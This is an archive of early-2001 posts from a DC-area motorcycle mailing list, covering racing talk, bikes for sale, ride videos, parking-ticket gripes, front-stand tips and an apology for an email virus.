From dc-cycles-request Thu Feb 1 08:11:11 2001 Date: Thu, 01 Feb 2001 08:12:20 -0800 To: dc-cycles@XXXXXX From: Stephen Harris Subject: Re: New Harley Racing Effort At 10:32 PM 1/30/01 -0500, Bruce Brownlee wrote: >Ahh, the great american past-time.... Harley Bashing... :-) No Harley bashing here, they are a great business success story. >HDI, for the latest quarter (ended sep 2000), recorded net sales of >$538mil on motorcycles vs. $176mil on parts and accessories, general >merchandise and 'other'. for the 9 months ending the same period, >they had $1.7bil in motorcycle sales and $462mil in P&A, Merch and >Cost of goods sold was $474mil and $1.4bil for the whole company >(respectively) but i cant really tell you how much 'they made' off >of each. Your figures are, of course, quite correct. What your figues do not show is the profit margins. Yes, gross sales on bikes is way more than merchandize, but the net profits on merchandize is greater on the other stuff. And, of course, all other motorcylce makers market clothing, and there is nothing wrong with that. I have a nice Honda sweatshirt. >i was at daytona about 6 years ago when the VR1000 premiered. The VR1000 actually premiered nine years ago at Daytona in '91, I was racing at Daytona then, and there was a lot of interest in the machine, as well their should have been. The VR has physically existed since '88 in various test models & assemblies. For those of us intimately involved in following racing equipment development is has always struck us odd how long it has taken Harley to develop the machine. This time lag, compared to the other makers, clearly indicates a lack of will on the part of the company. They have the money, the techical ability, and the interest on the part of the fans. It just is not a priority with them. Harris Need a motorcycle related phone number or address? Try http://www.his.com/harris/shops.htm From dc-cycles-request Thu Feb 1 08:37:23 2001 From: "Rob Keiser" To: tightsqueezeracing@XXXXXX, dc-cycles@XXXXXX Subject: Re: Bike Night Date: Thu, 01 Feb 2001 08:37:13 -0500 I think this sounds like fun. I'm in! Rob '98 VFR800 >Second, I've been thinking about doing a bike night at the Go-Kart >track near Walney and Rt 28 in VA. (Near LG's house.) It would be a >ride your bike, bring your kid/SO, drive some go-karts kind of affair. >All proceed would go to the I.R.F. > >Would the DC Cycles members be interested in something like this? I >don't know when it would be, especially with the season getting ready >to start. > >Thanks, >===== >Steve Clark >'99 Suz SV 650 - WERA #16, CCS #239, MARRC #2352 >Sponsors: http://www.FastLaneCycles.com > http://www.RamMC.net <- Carbon Fiber Bodywork > >*** Win $5000 and help an injured rider *** >http://www.tightsqueezeracing.org/Raffle.htm _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Thu Feb 1 09:57:18 2001 Date: Thu, 01 Feb 2001 09:57:05 -0500 To: dc-cycles@XXXXXX From: Troutman Subject: Thornon's Gap / 211 Moto Video? The VFR list has been a buzz about this Deal's Gap video floating around. Got me thinking - I have seen two or three guys with video setups on 211 - but I have never seen any on-bike video online. Anyone have a link? Get me over the Winter blahs ;-) ___________________________________________ Mike Troutman http://www.troutman.org/vfr '97 Honda VFR 750 Member : AMA ~=~ NMA ~=~ NRA There is an evil tendency underlying all our technology - the tendency to do what is reasonable even when it isn't any good. - Robert Pirsig, Zen and the Art of Motorcycle Maintenance From dc-cycles-request Thu Feb 1 10:22:23 2001 Date: Thu, 1 Feb 2001 07:22:19 -0800 (PST) From: Scratch Subject: Little Fairing FS To: DCC Cc: eruschei@XXXXXX One of those lightly tinted plastic windscreens that attaches to the handle bars. Similar to a Slipstreamer. 17 inches from headlight to top of screen, ~15" wide. $50 o.b.o. contact eruschei@XXXXXX (not me) if interested. Thanks, Rich __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Thu Feb 1 11:06:26 2001 From: "Myles, Gregory S." To: DCC Subject: FS: '96 Triumph T-Bird Date: Thu, 1 Feb 2001 11:01:45 -0500 For Sale: 1996 Triumph Thunderbird 900cc Triple Black, Less than 9K miles, Garage kept, only 1 owner Accessories: Center Stand, Tank Pads, Grab Rail, Luggage Rack, Chrome Radiator Cover $4,500/neg. Pics available on request Locale: Annapolis, MD Reason: Want a new 1200 Bandit; She-who-must-be-obeyed says somethin's gotta go first. Call (202)942-3376 days/(410)280-2310 evenings or email gmyles@XXXXXX From dc-cycles-request Thu Feb 1 11:10:26 2001 Date: Thu, 01 Feb 2001 11:09:56 -0500 To: dc-cycles@XXXXXX From: Troutman Subject: Today's post - DC tickets http://washingtonpost.com/wp-dyn/articles/A10455-2001Jan31.html Typical of the DC DMV/Parking/Traffic Court The story is about an old woman that received parking tickets for two cars she does not own. She has been wandering the DMV halls in search of a fix. "Finally, after I spent about five days there, they told me I should just pay the tickets and get it over with," Edens said. =========== Having tried to fight three bad parking tickets in the district - I found a solution. I stay the hell out of DC. =========== ___________________________________________ Mike Troutman http://www.troutman.org/vfr I spent a lot of money on wine and women and like a fool I squandered the rest. - Benny Hill From dc-cycles-request Thu Feb 1 11:16:44 2001 From: Cedric Bernescut To: "'Troutman'" Cc: "dc-cycles@dc-cycles. org (E-mail)" Subject: RE: Thornon's Gap / 211 Moto Video? Date: Thu, 1 Feb 2001 11:16:07 -0500 http://207.250.219.128/ The full length one is awesome. I use it as my screen saver; my coworkers want to know why I keep leaning over in my chair. Cedric -----Original Message----- From: Troutman [mailto:mike@XXXXXX] Sent: Thursday, February 01, 2001 9:57 AM To: dc-cycles@XXXXXX Subject: Thornon's Gap / 211 Moto Video? The VFR list has been a buzz about this Deal's Gap video floating around. Got me thinking - I have seen two or three guys with video setups on 211 - but I have never seen any on-bike video online. Anyone have a link? Get me over the Winter blahs ;-) ___________________________________________ Mike Troutman http://www.troutman.org/vfr '97 Honda VFR 750 Member : AMA ~=~ NMA ~=~ NRA There is an evil tendency underlying all our technology - the tendency to do what is reasonable even when it isn't any good. - Robert Pirsig, Zen and the Art of Motorcycle Maintenance From dc-cycles-request Thu Feb 1 11:23:31 2001 Date: Thu, 01 Feb 2001 11:22:32 -0500 To: Cedric Bernescut From: Troutman Subject: RE: Thornon's Gap / 211 Moto Video? Cc: "dc-cycles@dc-cycles. org (E-mail)" At 11:16 AM 2/1/01, Cedric Bernescut wrote: >http://207.250.219.128/ >The full length one is awesome. I use it as my screen saver; my coworkers >want to know why I keep leaning over in my chair. >Cedric That is the Deal's Gap One - no one have a Thornton's Gap? ___________________________________________ Mike Troutman http://www.troutman.org I spent a lot of money on wine and women and like a fool I squandered the rest. - Benny Hill From dc-cycles-request Thu Feb 1 11:23:43 2001 From: "Han Park" To: Subject: Re: Thornon's Gap / 211 Moto Video? Date: Thu, 1 Feb 2001 11:18:04 -0500 Anyone try the Red Bull energy drink (the guys that sponsor all the European bike teams?). I found some in the drink frig today and now I'm bouncing off the walls. Anyways, this link, http://www.motorcycle-dk.com/ will take you to this German R-1 rider's site where he has some awesome videos of him zooming around various towns and tracks in Europe (including Nurberring ). Very cool, but not for the bandwidth challenged. Download it at work in the background, burn it on a cd and watch it on your home PC. han ----- Original Message ----- From: "Troutman" To: Sent: Thursday, February 01, 2001 9:57 AM Subject: Thornon's Gap / 211 Moto Video? > The VFR list has been a buzz about this Deal's Gap video floating > around. Got me thinking - I have seen two or three guys with video setups > on 211 - but I have never seen any on-bike video online. Anyone have a > link? Get me over the Winter blahs ;-) > > > ___________________________________________ > Mike Troutman > http://www.troutman.org/vfr > > '97 Honda VFR 750 > Member : AMA ~=~ NMA ~=~ NRA > > There is an evil tendency underlying all our technology - the tendency to > do what is reasonable even when it isn't any good. - Robert Pirsig, Zen and > the Art of Motorcycle Maintenance > From dc-cycles-request Thu Feb 1 11:37:07 2001 From: "Rob Keiser" To: mike@XXXXXX, dc-cycles@XXXXXX Subject: Re: Thornon's Gap / 211 Moto Video? Date: Thu, 01 Feb 2001 11:36:02 -0500 Mike, Try this: http://www.dealsgap.com/misc.html Rob '98 VFR 800 >From: Troutman >To: dc-cycles@XXXXXX >Subject: Thornon's Gap / 211 Moto Video? >Date: Thu, 01 Feb 2001 09:57:05 -0500 > >The VFR list has been a buzz about this Deal's Gap video floating >around. Got me thinking - I have seen two or three guys with video setups >on 211 - but I have never seen any on-bike video online. Anyone have a >link? Get me over the Winter blahs ;-) > > >___________________________________________ > Mike Troutman > http://www.troutman.org/vfr > > '97 Honda VFR 750 > Member : AMA ~=~ NMA ~=~ NRA > >There is an evil tendency underlying all our technology - the tendency to >do what is reasonable even when it isn't any good. - Robert Pirsig, Zen and >the Art of Motorcycle Maintenance > > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Thu Feb 1 11:39:27 2001 Date: Thu, 1 Feb 2001 08:38:39 -0800 (PST) From: Hugh Caldwell To: dc-cycles@XXXXXX Subject: Re: Today's post - DC tickets On Thu, 1 Feb 2001, Troutman wrote: > =========== > Having tried to fight three bad parking tickets in the district - I found a > solution. I stay the hell out of DC. > =========== > Don't stay out of DC just rack up a few parking tickets then get some new license plates and do it again. ---------------------------------------------------------------- Hugh A. Caldwell BeGeek Simpleton#9 ZR750-C2 VFR800FI ---------------------------------------------------------------- From dc-cycles-request Thu Feb 1 12:48:09 2001 From: "Perry Coleman" To: twg@XXXXXX, dc-cycles@XXXXXX Subject: Re: Today's post - DC tickets Date: Thu, 01 Feb 2001 12:47:59 -0500 Hmmm...I wonder what would happen to someone who got a parking ticket, oh say 17-18 years ago, but still has the same tag on a different bike? Perry >From: Hugh Caldwell >To: dc-cycles@XXXXXX >Subject: Re: Today's post - DC tickets >Date: Thu, 1 Feb 2001 08:38:39 -0800 (PST) > snip > Don't stay out of DC just rack up a few parking tickets >then get some new license plates and do it again. > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Thu Feb 1 13:06:38 2001 Date: Thu, 01 Feb 2001 13:06:26 -0500 To: dc-cycles@XXXXXX From: Troutman Subject: Re: Today's post - DC tickets At 12:47 PM 2/1/01, Perry Coleman wrote: >Hmmm...I wonder what would happen to someone who got a parking ticket, oh >say 17-18 years ago, but still has the same tag on a different bike? My father received a collections notice 12 years after committing a parking offense in SW DC. At the time, he was still active duty Coast Guard and had Tennessee plates. He had long since sold the car and changed plates. He never paid it. Eventually they quit writing him. I was in a deli in NE once. Parked 10 feet from the corner and 20 feet from the metro bus stop in the one legal spot near the deli. Ran in, picked up a to-go order that was called ahead, ran back out to find a ticket already under the windshield and no parking man in sight. Must have been a record - easily under 60 seconds. Tried to fight that one. Ever see Goodfellas? F**k you - pay me. (censored to suit list nannies) ___________________________________________ Mike Troutman http://www.troutman.org/vfr I spent a lot of money on wine and women and like a fool I squandered the rest. - Benny Hill From dc-cycles-request Thu Feb 1 13:55:29 2001 Date: Thu, 01 Feb 2001 13:54:36 EST From: ScooterFZR@XXXXXX Subject: Re: Thornon's Gap / 211 Moto Video? To: Cc: I downloaded it. HUGE file but, pretty good video. I downloaded it from www.dealsgap.com. Go to Other and Videos. It's the 62mb file at the top. I could e-mail it to you but, it would probably take forever for you to get. Enjoy. BTW, you really should change the web addy you have for posting to the list. We haven't been dc-cycles@XXXXXX for a while now. It's dc-cycles@XXXXXX. I don't know hoiw much longer your e-mails will make it through using the old one. Scooter In a message dated Thu, 1 Feb 2001 9:59:57 AM Eastern Standard Time, Troutman writes: << The VFR list has been a buzz about this Deal's Gap video floating around. Got me thinking - I have seen two or three guys with video setups on 211 - but I have never seen any on-bike video online. Anyone have a link? Get me over the Winter blahs ;-) ___________________________________________ Mike Troutman http://www.troutman.org/vfr '97 Honda VFR 750 Member : AMA ~=~ NMA ~=~ NRA There is an evil tendency underlying all our technology - the tendency to do what is reasonable even when it isn't any good. - Robert Pirsig, Zen and the Art of Motorcycle Maintenance >> From dc-cycles-request Thu Feb 1 14:06:05 2001 Date: Thu, 01 Feb 2001 14:01:10 -0500 From: "Onur Topac" To: Subject: Lunch Rides If anyone from the list works around the Georgetown/DuPont/GW triangle and wants to do some lunch time rides, please contact me off list. Also getting off work @ 3pm and would like to ride until sunset. Those interested in either ride please contact me off list. Onur Bethesda, MD '84 Magna V30 "Rocky" From dc-cycles-request Thu Feb 1 14:17:20 2001 Date: Thu, 01 Feb 2001 14:12:38 -0500 From: "Onur Topac" To: "Onur Topac" , Subject: Re: Lunch Rides >Also getting off work @ 3pm and would like to ride until sunset. Tomorrow that is...... Onur Bethesda, MD '84 Magna V30 "Rocky" From dc-cycles-request Thu Feb 1 14:34:10 2001 From: SBave@XXXXXX Date: Thu, 1 Feb 2001 14:33:58 EST Subject: Re: Thornon's Gap / 211 Moto Video? To: dc-cycles@XXXXXX ScooterFZR@XXXXXX writes: << pretty good video >> Anyone interested in making our own 211/hooligan video's? :) Steve Broadstreet From dc-cycles-request Thu Feb 1 14:53:22 2001 From: "Myles, Gregory S." To: "'SBave@XXXXXX'" , dc-cycles@XXXXXX Subject: RE: Thornon's Gap / 211 Moto Video? Date: Thu, 1 Feb 2001 14:51:31 -0500 I'll pass, thanks. The last fast group ride I took on 211 got rerouted onto 911 after the guy in front of me lost it on a curve. Y'all have fun. Greg "Scratch" Myles Forum Host, Mid Atlantic Motorcycle Riders Forum http://www.delphi.com/mmrf/start -----Original Message----- From: SBave@XXXXXX [mailto:SBave@XXXXXX] Sent: Thursday, February 01, 2001 2:34 PM To: dc-cycles@XXXXXX Subject: Re: Thornon's Gap / 211 Moto Video? ScooterFZR@XXXXXX writes: << pretty good video >> Anyone interested in making our own 211/hooligan video's? :) Steve Broadstreet From dc-cycles-request Thu Feb 1 14:59:59 2001 Date: Thu, 1 Feb 2001 11:59:53 -0800 (PST) From: Justin Stefanon Subject: Re: Thornon's Gap / 211 Moto Video? To: dc-cycles@XXXXXX hey, does anyone know what the codec for this video is. i can hear it, it sure sounds like fun! --- ScooterFZR@XXXXXX wrote: > I downloaded it. HUGE file but, pretty good video. > I downloaded it from www.dealsgap.com. Go to Other > and Videos. It's the 62mb file at the top. I could > e-mail it to you but, it would probably take forever > for you to get. Enjoy. BTW, you really should > change the web addy you have for posting to the > list. We haven't been dc-cycles@XXXXXX for a > while now. It's dc-cycles@XXXXXX. I don't > know hoiw much longer your e-mails will make it > through using the old one. > > Scooter > > In a message dated Thu, 1 Feb 2001 9:59:57 AM > Eastern Standard Time, Troutman > writes: > > << The VFR list has been a buzz about this Deal's > Gap video floating > around. Got me thinking - I have seen two or three > guys with video setups > on 211 - but I have never seen any on-bike video > online. Anyone have a > link? Get me over the Winter blahs ;-) > > > ___________________________________________ > Mike Troutman > http://www.troutman.org/vfr > > '97 Honda VFR 750 > Member : AMA ~=~ NMA ~=~ NRA > > There is an evil tendency underlying all our > technology - the tendency to > do what is reasonable even when it isn't any good. - > Robert Pirsig, Zen and > the Art of Motorcycle Maintenance > > > >> > > __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Thu Feb 1 15:09:50 2001 Date: Thu, 01 Feb 2001 15:09:34 -0500 To: dc-cycles@XXXXXX From: Troutman Subject: Re: Thornon's Gap / 211 Moto Video? At 09:57 AM 2/1/01, Troutman wrote: >The VFR list has been a buzz about this Deal's Gap video floating >around. Got me thinking - I have seen two or three guys with video setups >on 211 - but I have never seen any on-bike video online. Anyone have a >link? Get me over the Winter blahs ;-) Re-reading my post, I now realize that it looks like I was requesting any on-like MC videos. In fact, I have the DG video (and many other cool ones). What I am looking for is on-bike video of the 211 Thornton's Gap / Skyline interchange. Last time I was up there, two guys with helmet cams on an RC51 and GSXR went hauling by. I do believe that video would put the Deal's Gap video to shame :-o Kept meaning to make my own this year. Doubt it would be as exciting, but the camera can play funny tricks on your eyes when it comes to speed! ___________________________________________ Mike Troutman http://www.troutman.org/vfr I spent a lot of money on wine and women and like a fool I squandered the rest. - Benny Hill From dc-cycles-request Thu Feb 1 16:42:38 2001 From: Cedric Bernescut To: "dc-cycles@dc-cycles. org (E-mail)" Subject: front end stand needed Date: Thu, 1 Feb 2001 16:42:39 -0500 Looking for a front end stand to hold up my CBR600F3 while I take off the front wheel. If anyone has a used one for sale or a recommendation for an inexpensive new one let me know. Thanks in advance. Cedric 1996 CBR600F3 Annandale, VA > " Everybody is somebody else's weirdo." > > From dc-cycles-request Thu Feb 1 17:00:34 2001 Date: Thu, 1 Feb 2001 14:00:26 -0800 (PST) From: Tom Gimer Subject: RE: Thornon's Gap / 211 Moto Video? To: Cedric Bernescut , "'Troutman'" Cc: "dc-cycles@dc-cycles. org \(E-mail\)" --- Cedric Bernescut wrote: > http://207.250.219.128/ > The full length one is awesome. I use it as my screen > saver; my coworkers want to know why I keep leaning over > in my chair. one word: goosebumps i haven't done any spirited cornering since late nov./early dec. and this video was quite enjoyable > -----Original Message----- > From: Troutman [mailto:mike@XXXXXX] > Sent: Thursday, February 01, 2001 9:57 AM > To: dc-cycles@XXXXXX > Subject: Thornon's Gap / 211 Moto Video? > > > The VFR list has been a buzz about this Deal's Gap video > floating around. __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Thu Feb 1 17:07:14 2001 From: Cedric Bernescut To: "dc-cycles@dc-cycles. org (E-mail)" Subject: RE: Thornon's Gap / 211 Moto Video? Date: Thu, 1 Feb 2001 17:07:14 -0500 You can download this freeware and turn it (as well as others) into a screen saver. Cedric http://downloads.mediadna.zdnet.com/info/com.zdnet_downloads_000G6T_000G6T.h tml?se=ink one word: goosebumps i haven't done any spirited cornering since late nov./early dec. and this video was quite enjoyable From dc-cycles-request Thu Feb 1 18:16:02 2001 To: Cedric Bernescut CC: dc-cycles@XXXXXX From: bergman@XXXXXX Subject: Re: front end stand needed Date: Thu, 01 Feb 2001 18:15:46 -0500 In your message dated: Thu, 01 Feb 2001 16:42:39 EST, your pithy ruminations on were: => Looking for a front end stand to hold up my CBR600F3 while I take off the => front wheel. If anyone has a used one for sale or a recommendation for an => inexpensive new one let me know. Thanks in advance. I don't have a front end stand...in fact, I don't think there's one for my bike! Whenever I need to remove the front wheel, I do the following: secure an "eye bolt" (or pair) at ground level. These can be screwed into the base framing of a garage. If you don't have a garage, but have a car (or similar heavy weight :), you can screw the bolts (3"x3/8") into a 6' 2x6, placing them about 3' apart. Put the board on the ground, park the car on top, so that both bolts are accessible. Aternatively, the towing "eyes" found under the bumper of a car could be used directly. back the bike up to the bolts put the bike on the center stand (you have a center stand, rightr? :) attach tie-downs from the passenger grab rail to the eyebolts put weight (youself, your SO) on the seat of the bike, lowering the rear wheel to the ground and elevating the front wheel tighten the tie downs if the bike isn't high enough to remove the front wheel, put some boards (~1" high) under the center stand If you want to "borrow" my driveway--with the 6"x5/8" eyebolt sunk into the concrete...just ask! Mark "I wish I had a real garage again" Bergman => Cedric => 1996 CBR600F3 => Annandale, VA => => > " Everybody is somebody else's weirdo." => > -- Mark Bergman Biker, IATSE #1 Stagehand, Rock Climber, Unix mechanic '94 Yamaha GTS1000A bergman@XXXXXX I want a newsgroup with a infinite S/N ratio! Now taking CFV on: rec.motorcycles.stagehands.pet-bird-owners.pinballers.unix-supporters 5+ So Far--Want to join? Check out: http://www.panix.com/~bergman From dc-cycles-request Thu Feb 1 18:37:49 2001 From: Brian Roach To: bergman@XXXXXX Subject: Re: front end stand needed Date: Thu, 1 Feb 2001 18:40:27 -0500 Cc: dc-cycles@XXXXXX On Thu, 01 Feb 2001, bergman@XXXXXX wrote: > I don't have a front end stand...in fact, I don't think there's one for my > bike! While I know your bike doesn't have downtubes/forks, does it not have a steering head that a pitbull front stand can pin into and lift the bike? - Roach From dc-cycles-request Thu Feb 1 19:09:55 2001 From: daniel_ex250@XXXXXX To: Brian Roach Cc: Dale Horstman , Mark Kitchell , eschelzig@XXXXXX, dc-cycles@XXXXXX Subject: Re: Va. House May Rescind Helmet Law Date: Thu, 01 Feb 2001 19:11:41 -0800 The insurance carriers probably decided to throw some money around to the policitians... no helmet laws = 1> cheaper pay out and 2>smoke and mirors reason to raise rates. Probably financial issue and they don't care about lives in the least. .......... is the root of all evil? From dc-cycles-request Thu Feb 1 20:18:12 2001 From: MJordan666@XXXXXX Date: Thu, 1 Feb 2001 20:17:50 EST Subject: Re: Thornon's Gap / 211 Moto Video? To: dc-cycles@XXXXXX --part1_f.f5839cf.27ab64be_boundary In a message dated 2/1/2001 11:30:15 Eastern Standard Time, mike@XXXXXX writes: > That is the Deal's Gap One - no one have a Thornton's Gap? > Not yet - I will have one this summer (as soon as I get the sound to record without gobs of wind noise) Michael J. --part1_f.f5839cf.27ab64be_boundary In a message dated 2/1/2001 11:30:15 Eastern Standard Time, mike@XXXXXX
writes:

That is the Deal's Gap One - no one have a Thornton's Gap?

Not yet - I will have one this summer (as soon as I get the sound to record
without gobs of wind noise)

Michael J.

--part1_f.f5839cf.27ab64be_boundary-- From dc-cycles-request Thu Feb 1 21:12:12 2001 To: dc-cycles@XXXXXX Date: Thu, 1 Feb 2001 21:10:03 -0500 Subject: Front Stands X-Juno-Line-Breaks: 5-6,8-10,12,14,16 From: Tom Fitzpatrick Check out the Pit Bull stands at Fast Lane Cycles. You can't (or shouldn't) use a front stand without first using a rear stand. If you do, it will almost certainly fall over. You put it up on the rear, then the front. If you get some, get the front with the mechanical linkage adapter. It is much easier to use than the other, and it can be used two different ways. Ask for Rick and tell him you saw it on DC Cycles. He might give you a bigger discount. Tom Fitzpatrick CCS#80'6 (www.celticracing.com) Sponsors: *Fast Lane Cycles/fastlanecycles@XXXXXX/703-818-8890/ (www.fastlanecycles.com) *Barnacle Bill's Racing Leathers - barnacle@XXXXXX (www.racingleather.com) *A.F.S. Contractor Inc.-Home Insurance Recovery Specialist (www.unitedwebuild.com/afs.html) *Janet Bell TAX Preparation, Accounting and Consulting (belljan@XXXXXX) From dc-cycles-request Thu Feb 1 21:59:21 2001 From: "James Reazor" To: Subject: Moto-Clothes Alterations? Date: Thu, 1 Feb 2001 21:53:59 -0500 I have a friend who is among the inseam-challenged. He has a Courda suit that fits perfectly except that the legs are about 4 inches too long. The suit has a full lining and zippers at the cuffs. He's looking for a place to have it altered but would like recommendations before putting his gear at risk. So if anyone has had this kind of thing done, let me know where. -James From dc-cycles-request Fri Feb 2 07:27:43 2001 From: "Gary Foreman" To: "DC-Cycles Mailing List" , "Dccycles2" Subject: Kill the Groundhog! Date: Fri, 2 Feb 2001 07:28:25 -0500 6 more weeks of winter? I say we kill the little bastard! Gary Foreman, TL Owners Club gary@XXXXXX http://www.tl1000.com From dc-cycles-request Fri Feb 2 08:40:44 2001 From: "Myles, Gregory S." To: "'Gary Foreman'" , DC-Cycles Mailing List , Dccycles2 Subject: RE: Kill the Groundhog! Date: Fri, 2 Feb 2001 08:39:17 -0500 Yeah, but let's do it AFTER this rather good-looking weekend riding weather we're expecting. Greg "Scratch" Myles Forum Host, Mid Atlantic Motorcycle Riders Forum http://www.delphi.com/mmrf/start -----Original Message----- From: Gary Foreman [mailto:fj1100@XXXXXX] Sent: Friday, February 02, 2001 7:28 AM To: DC-Cycles Mailing List; Dccycles2 Subject: Kill the Groundhog! 6 more weeks of winter? I say we kill the little bastard! Gary Foreman, TL Owners Club gary@XXXXXX http://www.tl1000.com From dc-cycles-request Fri Feb 2 09:26:40 2001 Date: Fri, 2 Feb 2001 06:26:30 -0800 (PST) From: Glenn Dysart Subject: Re: Today's post - DC tickets To: Hugh Caldwell , dc-cycles@XXXXXX The magic number here is three. After three tickets they put you on their "hot list". Even if your car is parked legally they sometimes grab people that have more then three unpaid tickets. So change those license plates!!! Glenn --- Hugh Caldwell wrote: > On Thu, 1 Feb 2001, Troutman wrote: > > > =========== > > Having tried to fight three bad parking tickets in > the district - I found a > > solution. I stay the hell out of DC. > > =========== > > > Don't stay out of DC just rack up a few parking > tickets > then get some new license plates and do it again. __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 2 09:28:02 2001 From: "Paul Wilson" To: "dc-cycles list" Subject: Re: Moto-Clothes Alterations? Date: Fri, 2 Feb 2001 09:27:45 -0500 If it's an Aerostich, they do alterations. Prices do not seem unreasonable given the work involved. Paul in DC ----- Original Message ----- From: James Reazor To: Sent: Thursday, February 01, 2001 9:53 PM Subject: Moto-Clothes Alterations? > I have a friend who is among the inseam-challenged. He has a Courda suit > that fits perfectly except that the legs are about 4 inches too long. The > suit has a full lining and zippers at the cuffs. He's looking for a place to > have it altered but would like recommendations before putting his gear at > risk. So if anyone has had this kind of thing done, let me know where. > > -James > > > From dc-cycles-request Fri Feb 2 09:46:41 2001 Date: Fri, 2 Feb 2001 06:46:27 -0800 (PST) From: Justin Stefanon Subject: Re: Moto-Clothes Alterations? To: dc-cycles@XXXXXX maybe we could get a few v-twins together and help your friend with his inseam problem --- James Reazor wrote: > I have a friend who is among the > inseam-challenged. He has a Courda suit > that fits perfectly except that the legs are about 4 > inches too long. The > suit has a full lining and zippers at the cuffs. > He's looking for a place to > have it altered but would like recommendations > before putting his gear at > risk. So if anyone has had this kind of thing done, > let me know where. > > -James > > __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 2 10:07:36 2001 Date: Fri, 2 Feb 2001 07:07:29 -0800 (PST) From: e w Subject: Route 211 Moto Video? To: dc-cycles@XXXXXX I'll have to pass on the 211 video as well. The last fast ride on the mountain left my friend in the hospital and me in church the next day. -Ed __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 2 10:11:22 2001 Date: Fri, 02 Feb 2001 10:10:57 EST From: ScooterFZR@XXXXXX Subject: RE: Thornon's Gap / 211 Moto Video? To: Cc: OK, I downloaded the program but, it doesn't seem to work on RealMedia files, which is what the Deals Gap video is. Anyone got a way to convert a RealMedia file to an MPEG or other format? Anyone find a similar program that will work with RealMedia files? Scooter In a message dated Thu, 1 Feb 2001 5:08:24 PM Eastern Standard Time, Cedric Bernescut writes: << You can download this freeware and turn it (as well as others) into a screen saver. Cedric http://downloads.mediadna.zdnet.com/info/com.zdnet_downloads_000G6T_000G6T.h tml?se=ink one word: goosebumps i haven't done any spirited cornering since late nov./early dec. and this video was quite enjoyable >> From dc-cycles-request Fri Feb 2 10:22:20 2001 Date: Fri, 02 Feb 2001 10:16:32 -0500 From: "William J. Huson" To: dccycles2@XXXXXX CC: DC-Cycles Mailing List Subject: Apologies... Things to remember - when guests visit for a long weekend, NEVER let amatuers dink with your computor. Obviously, the buggers didn't practice the net version of safe-sex and my poor computer caught an STD - one of those cute ones that keeps on *giving* by attaching to my emails and screwing over my addy book. Sorry for the distress caused, thanx to Mike Troutman for giving me a heads up that I had a bug. Damn thing is dead now - had to format the C drive and start from scratch to get rid of the fucker. That wuz a Royal Pain In The Ass (RPITA) Bill From dc-cycles-request Fri Feb 2 10:59:04 2001 Date: Fri, 2 Feb 2001 07:58:56 -0800 (PST) From: Tom Gimer Subject: Re: [dccycles2] Kill the Groundhog! To: dccycles2@XXXXXX, DC-Cycles Mailing List --- Gary Foreman wrote: > 6 more weeks of winter? I say we kill the little > bastard! When Chekov saw the long winter, he saw a winter bleak and dark and bereft of hope. Yet, we know that winter is just another step in the cycle of life. But standing here amongst the people of Punxsutawney and basking in the warmth of their hearths and hearts, I couldn't imagine a better fate than a long .. and lustrous winter. -- tg __________________________________________________ Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Fri Feb 2 11:21:05 2001 Date: Fri, 2 Feb 2001 08:21:00 -0800 (PST) From: Hugh Caldwell To: dc-cycles@XXXXXX Subject: Re: [dccycles2] Kill the Groundhog! On Fri, 2 Feb 2001, Tom Gimer wrote: > When Chekov saw the long winter, he saw a winter bleak and > dark and bereft of hope. Yet, we know that winter is just > ... You're weird! ---------------------------------------------------------------- Hugh A. Caldwell BeGeek Simpleton#9 ZR750-C2 VFR800FI ---------------------------------------------------------------- From dc-cycles-request Fri Feb 2 11:22:50 2001 From: "Perry Coleman" To: bhuson@XXXXXX, dccycles2@XXXXXX Cc: dc-cycles@XXXXXX Subject: Re: Apologies... Date: Fri, 02 Feb 2001 11:22:37 -0500 Bill, Did rebuilding your system include installing a good anti-virus scanner? Of course, you also need to keep the signature files up to date. Most AV vendors post updates weekly. If you don't want to hassle with installations and updates, check out MCAFEE.COM. They have a service for home users to keep you protected for something like $30-40 per year. When you consider how much time and hassle is involved in cleaning up after a virus infection, it's not that much money to spend. Perry p.s. No, I don't work for McAfee, but I am familiar with their products. >From: "William J. Huson" >To: dccycles2@XXXXXX >CC: DC-Cycles Mailing List >Subject: Apologies... >Date: Fri, 02 Feb 2001 10:16:32 -0500 > >Things to remember - when guests visit for a long weekend, NEVER let >amatuers dink with your computor. Obviously, the buggers didn't practice >the net version of safe-sex and my poor computer caught an STD - one of >those cute ones that keeps on *giving* by attaching to my emails and >screwing over my addy book. > >Sorry for the distress caused, thanx to Mike Troutman for giving me a heads >up that I had a bug. Damn thing is dead now - had to format the C drive >and start from scratch to get rid of the fucker. That wuz a Royal Pain In >The Ass (RPITA) > >Bill > > > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Fri Feb 2 11:44:45 2001 From: "Perry Coleman" To: twg@XXXXXX, dc-cycles@XXXXXX Subject: Re: [dccycles2] Kill the Groundhog! Date: Fri, 02 Feb 2001 11:44:31 -0500 He plagiarized "Groundhog Day" with Bill Murray... ;^) Perry >From: Hugh Caldwell >To: dc-cycles@XXXXXX >Subject: Re: [dccycles2] Kill the Groundhog! >Date: Fri, 2 Feb 2001 08:21:00 -0800 (PST) > >On Fri, 2 Feb 2001, Tom Gimer wrote: > > > When Chekov saw the long winter, he saw a winter bleak and > > dark and bereft of hope. Yet, we know that winter is just > > ... > > You're weird! >---------------------------------------------------------------- >Hugh A. Caldwell BeGeek Simpleton#9 ZR750-C2 VFR800FI >---------------------------------------------------------------- > > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Fri Feb 2 11:47:07 2001 From: "Myles, Gregory 